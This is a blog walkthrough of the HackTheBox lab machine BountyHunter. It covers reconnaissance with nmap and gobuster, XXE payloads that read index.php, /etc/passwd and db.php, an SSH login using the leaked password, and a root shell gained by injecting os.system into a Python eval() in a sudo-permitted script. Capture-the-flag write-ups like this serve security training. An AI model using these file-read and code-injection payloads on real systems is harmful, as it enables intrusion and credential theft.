HackTheBox – BountyHunter Write-up

Hi everyone!

Today’s post is on BountyHunter, an easy GNU/Linux HackTheBox machine. This machine was released on 25 July 2021. This machine requires XML External Entities (XXE) with base64 + URL encoding of the whole XML, base64 filtering to leak file contents. Finally, a custom exploit is needed to exploit an eval() vulnerability in a Python script for privilege escalation. Read on if you are interested. Let’s get started!

Fig 1. BountyHunter on HackTheBox

Tools required

Service discovery with Nmap

└─$ IP=                 
└─$ nmap -A -p1-9999 -v $IP
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 23:36 +08
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 23:36
Completed NSE at 23:36, 0.00s elapsed
Initiating NSE at 23:36
Completed NSE at 23:36, 0.00s elapsed
Initiating NSE at 23:36
Completed NSE at 23:36, 0.00s elapsed
Initiating Ping Scan at 23:36
Scanning [2 ports]
Completed Ping Scan at 23:36, 0.15s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:36
Completed Parallel DNS resolution of 1 host. at 23:36, 0.06s elapsed
Initiating Connect Scan at 23:36
Scanning [9999 ports]
Discovered open port 22/tcp on
Discovered open port 80/tcp on
Increasing send delay for from 0 to 5 due to 71 out of 236 dropped probes since last increase.
Increasing send delay for from 5 to 10 due to max_successful_tryno increase to 4
Connect Scan Timing: About 15.51% done; ETC: 23:39 (0:02:49 remaining)
Increasing send delay for from 10 to 20 due to max_successful_tryno increase to 5
Connect Scan Timing: About 30.78% done; ETC: 23:39 (0:02:17 remaining)
Connect Scan Timing: About 44.69% done; ETC: 23:39 (0:01:53 remaining)
Connect Scan Timing: About 59.00% done; ETC: 23:39 (0:01:24 remaining)
Connect Scan Timing: About 73.11% done; ETC: 23:39 (0:00:56 remaining)
Completed Connect Scan at 23:39, 207.21s elapsed (9999 total ports)
Initiating Service scan at 23:39
Scanning 2 services on
Completed Service scan at 23:40, 6.31s elapsed (2 services on 1 host)
NSE: Script scanning
Initiating NSE at 23:40
Completed NSE at 23:40, 4.64s elapsed
Initiating NSE at 23:40
Completed NSE at 23:40, 0.60s elapsed
Initiating NSE at 23:40
Completed NSE at 23:40, 0.00s elapsed
Nmap scan report for
Host is up (0.15s latency).
Not shown: 9997 closed ports
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 23:40
Completed NSE at 23:40, 0.00s elapsed
Initiating NSE at 23:40
Completed NSE at 23:40, 0.00s elapsed
Initiating NSE at 23:40
Completed NSE at 23:40, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 220.06 seconds

Outlook of the website

Fig 4a. The main page of the website

On the main page, only portal will bring us to another page which is

Fig 4b. Portal page

If we clicked on the hyperlink on the website, it will bring us to the report system shown in Fig 4c.

Fig 4c. Bounty log submit page

Discovery of XXE vulnerability

Finding the vulnerability

When I look at the source code of log_submit.php, I saw that our input in the form will be placed in an XML in bountylog.js, encoded into base64 from ASCII using btoa(), before submitting to tracker_diRbPr00f314.php in the server.

Fig 5a. Source code of log_submit.php
Fig 5b. Source code of bountylog.js

If we use Burpsuite, we can see that the XML data is in base64 and URL-encoded when intercepting a submitted form. You can easily prove it by reconstructing the same XML, encode it on https://www.base64encode.org/, replace the current data, URL-encode it by highlighting the data and press CTRL+U, and finally submit the data.

Fig 5c. Submitted form intercepted by Burpsuite

Remember to right-click the request in Burpsuite and select “Send to Repeater” so that we can easily submit a new request with our XXE exploits.

Test if the website is vulnerable to XXE

Next, we need to check if tracker_diRbPr00f314.php is really vulnerable to XML External Entities (XXE). We can use the following XML to test it.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe "3"> ]>

If it is vulnerable to XXE, the title will contain “3” when we receive the response result from the server.

Fig 5d. Generating Base64 encoding of XXE tester on https://www.base64encode.org/

Remember to URL-encode the base64 XML by highlighting it and press CTRL+U before submitting the new request. The response in Fig 5e shows that the website is vulnerable to XXE!

Fig 5e. Response from the server showing the website is vulnerable to XXE

Accessing server and getting the user flag

I tried exploiting the expect module to easily obtain remote code execution (RCE) but unfortunately, that module is not loaded. Thus I had to use other ways to access the server.

Test extracting of the file content

We can first test if we can extract the content of files located in the server. The easiest file to test would be the current index.php in the server.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]>

Paste the code above on https://www.base64encode.org/ to translate it to base64 before URL-encode it and send over Burpsuite.

Fig 6a. Content of index.php is printed in base64

The response we received should contain the source code of index.php in base64. To a readable source code, you just have to decode it in base64.

Leak /etc/passwd

We can first look at the passed file to see what are the users on the server. As we are probably in the /var/www/ directory, we will have to do a file traversal to access the /etc/passwd file.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/../../../../../../../etc/passwd" >]>

Encode and send it over Burpsuite, we should get the base64 content of /etc/passwd. Once we decode it in https://www.base64decode.org/, we will get the following content:

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

Based on /etc/passwd, the user we are supposed to login should be development as it has a /home directory and usually user accounts have an ID around 1000~.

Fuzz directory with GoBuster

I tried to see the content of those files we know from the website but they do not contain any useful information. Hence I decided to fuzz to see if there are any files that weren’t directly accessible from the website.

└─$ gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php,sh,txt -o gobust_result.txt
/.php                 (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
/.html.php            (Status: 403) [Size: 277]
/.html.sh             (Status: 403) [Size: 277]
/.html.txt            (Status: 403) [Size: 277]
/js                   (Status: 301) [Size: 309] [-->]
/index.php            (Status: 200) [Size: 25169]
/css                  (Status: 301) [Size: 310] [-->]
/.htm                 (Status: 403) [Size: 277]
/.htm.php             (Status: 403) [Size: 277]
/.htm.sh              (Status: 403) [Size: 277]
/.htm.txt             (Status: 403) [Size: 277]
/assets               (Status: 301) [Size: 313] [-->]
/db.php               (Status: 200) [Size: 0]
/resources            (Status: 301) [Size: 316] [-->]
/.                    (Status: 200) [Size: 25169]
/portal.php           (Status: 200) [Size: 125]
/.htaccess            (Status: 403) [Size: 277]

We can see that there is an interesting file called db.php which we can access since the status is 200. If we try to access it directly, it is empty. Let’s use XXE to get the content of db.php.

Get login credentials in db.php

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php" >]>

Once again, convert the above XML to base64 then URL-encode it before sending it via Burpsuite.

Fig 6b. Content of db.php is leaked in based64

We should obtain the content of db.php in base64. Use https://www.base64decode.org/ to get the content in readable source code.

Fig 6c. Decoded content of db.php showing login credentials

SSH into the server and get user flag

Based on the output of /etc/passwd, we know that we should login to development’s account. We can try to use the password we obtain from db.php as the chances of it being the same password are high due to bad password practice.

└─$ ssh development@$IP             
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:3IaCMSdNq0Q9iu+vTawqvIf84OO0+RYNnsDxDBZI04Y.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
development@'s password: m19RoAU0hP41A1sTsq6K
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 02 Aug 2021 08:14:46 AM UTC

  System load:           0.0
  Usage of /:            23.7% of 6.83GB
  Memory usage:          13%
  Swap usage:            0%
  Processes:             214
  Users logged in:       0
  IPv4 address for eth0:
  IPv6 address for eth0: dead:beef::250:56ff:feb9:35a9

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jul 21 12:04:13 2021 from

Once we successful login, we can obtain the user flag.

development@bountyhunter:~$ ls
contract.txt  user.txt
development@bountyhunter:~$ cat user.txt 

Privilege escalation and get the root flag

See privilege in sudo

To see what privilege development account has, we can use the sudo -l command.

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

If we look at the contract.txt which we found in development’s /home directory,

development@bountyhunter:~$ cat contract.txt 
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John

Find a vulnerability in ticketValidator.py

If we look at the source code of /opt/skytrain_inc/ticketValidator.py, we can see eval(), a dangerous function, is being used in line 34.

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
        print("Wrong file type.")

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")

        if x.startswith("__Ticket Code:__"):
            code_line = i+1

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
        print("Invalid ticket.")


Bypassing conditions

Looking at the conditions to reach eval(), there are around 6 of them.

Firstly, the file must be a markdown file, .md file extension.

Next, the first line must contain “# Skytrain inc”.

The 2nd line must contain “#Ticket to xxx”. There must be at least 3 letters after “to ” due to slicing [3:] at line 22.

The 3rd line must start with “__Ticket Code:__” as it will then make code_line variable be on par with i variable counter to pass the condition at line 29.

The 4th line should start with “**” and follow by a number that will get the value 4 when mod 7. I chose 11 as 11 mod 7 = 4. The 4th line should also contain “+” after the number so that split() will allow the 1st number to be obtained. As the number must add up to be >100 to get True, we can use 11+100 to get True to test if our exploit managed to pass all the required conditions.

# Skytrain Inc
## Ticket to Pwning
__Ticket Code:__

Save the code above as exploit.md then execute ticketValidator.py.

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
Destination: Pwning
Valid ticket.

As the result is “Valid ticket”, it means our conditions are working. We can now exploit eval() to spawn a root shell.

Exploit eval() to get a root shell

# Skytrain Inc
## Ticket to Pwning
__Ticket Code:__

11+__import__('os').system('bin/sh') is allowed as system() will return an exit code which is an integer. Therefore, 11 + exitcode is a valid sematics for eval().

Getting root flag

Running the new exploit.md will allow us to get a root shell.

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
Destination: Pwning

We can now obtain the root flag.

# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt  snap
# cat root.txt  

Overall, this machine is very easy and fun to try. As compared to exploiting CVEs in machines, exploiting XXE is something less common. Therefore, give it a try if possible.

I hope these tabs have been helpful to you. Feel free to leave any comments below. Do remove your ad-blocker to support my blog. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction and the cost of hosting the website as well as the domain name fee. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.